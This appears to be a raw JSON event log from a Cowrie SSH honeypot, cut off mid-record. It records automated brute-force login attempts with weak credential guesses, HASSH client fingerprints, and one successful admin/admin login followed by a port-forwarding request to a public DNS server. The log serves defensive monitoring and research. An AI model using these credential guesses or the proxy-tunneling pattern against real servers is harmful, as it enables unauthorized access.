{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47994,"dst_ip":"159.203.135.109","dst_port":22,"session":"7afbeddedcd4","protocol":"ssh","message":"New connection: 159.203.92.129:47994 (159.203.135.109:22) [session: 7afbeddedcd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:00.620618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:00.626539Z","src_ip":"159.203.92.129","session":"7afbeddedcd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:00.634090Z","src_ip":"159.203.92.129","session":"7afbeddedcd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"1111111","message":"login attempt [at/1111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:00.650202Z","src_ip":"159.203.92.129","session":"7afbeddedcd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:01.660101Z","src_ip":"159.203.92.129","session":"7afbeddedcd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":43826,"dst_ip":"159.203.135.109","dst_port":22,"session":"13aae8348be4","protocol":"ssh","message":"New connection: 202.4.106.201:43826 (159.203.135.109:22) [session: 13aae8348be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:08.516718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:08.522888Z","src_ip":"202.4.106.201","session":"13aae8348be4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:08.787880Z","src_ip":"202.4.106.201","session":"13aae8348be4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"abc123","message":"login attempt [develop/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:09.877773Z","src_ip":"202.4.106.201","session":"13aae8348be4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:11.146936Z","src_ip":"202.4.106.201","session":"13aae8348be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4324,"dst_ip":"10.17.0.5","dst_port":22,"session":"c180539af168","protocol":"ssh","message":"New connection: 87.251.64.176:4324 (10.17.0.5:22) [session: c180539af168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:11.432684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:11.437155Z","src_ip":"87.251.64.176","session":"c180539af168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:11.533521Z","src_ip":"87.251.64.176","session":"c180539af168","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:11.822838Z","src_ip":"87.251.64.176","session":"c180539af168","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:11.923653Z","session":"c180539af168","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:12.022270Z","src_ip":"87.251.64.176","session":"c180539af168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:12.121895Z","src_ip":"87.251.64.176","session":"c180539af168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":49642,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6b2a72e66d8","protocol":"ssh","message":"New connection: 122.168.114.167:49642 (159.203.135.109:22) [session: a6b2a72e66d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:16.700187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:20.598416Z","src_ip":"122.168.114.167","session":"a6b2a72e66d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:20.602863Z","src_ip":"122.168.114.167","session":"a6b2a72e66d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.324379444122314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:27.073013Z","src_ip":"62.171.135.55","session":"8c44f748ce88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":11232,"dst_ip":"159.203.135.109","dst_port":22,"session":"77d99213f823","protocol":"ssh","message":"New connection: 159.223.45.177:11232 (159.203.135.109:22) [session: 77d99213f823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:32.079206Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:34.838579Z","src_ip":"159.223.45.177","session":"77d99213f823","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":40196,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e1023ecaa83","protocol":"ssh","message":"New connection: 103.182.132.154:40196 (159.203.135.109:22) [session: 0e1023ecaa83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:38.723161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:38.728009Z","src_ip":"103.182.132.154","session":"0e1023ecaa83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:38.942638Z","src_ip":"103.182.132.154","session":"0e1023ecaa83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:39.123469Z","src_ip":"122.168.114.167","session":"a6b2a72e66d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwedsa","message":"login attempt [ubuntu/qwedsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:39.821531Z","src_ip":"103.182.132.154","session":"0e1023ecaa83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:41.035684Z","src_ip":"103.182.132.154","session":"0e1023ecaa83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33724,"dst_ip":"159.203.135.109","dst_port":22,"session":"c131b9afd212","protocol":"ssh","message":"New connection: 159.203.92.129:33724 (159.203.135.109:22) [session: c131b9afd212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:45.455697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:45.460244Z","src_ip":"159.203.92.129","session":"c131b9afd212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:45.464895Z","src_ip":"159.203.92.129","session":"c131b9afd212","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"11111111","message":"login attempt [at/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:45.475351Z","src_ip":"159.203.92.129","session":"c131b9afd212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.4","message":"Connection lost after 29.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:46.106837Z","src_ip":"122.168.114.167","session":"a6b2a72e66d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:46.487734Z","src_ip":"159.203.92.129","session":"c131b9afd212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":52034,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eb316c8c400","protocol":"ssh","message":"New connection: 122.168.114.167:52034 (159.203.135.109:22) [session: 6eb316c8c400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:54.646276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:59.557272Z","src_ip":"122.168.114.167","session":"6eb316c8c400","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:59.593004Z","src_ip":"122.168.114.167","session":"6eb316c8c400","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":33178,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b05d14cbcc2","protocol":"ssh","message":"New connection: 202.4.106.201:33178 (159.203.135.109:22) [session: 6b05d14cbcc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:11.046103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:11.050647Z","src_ip":"202.4.106.201","session":"6b05d14cbcc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.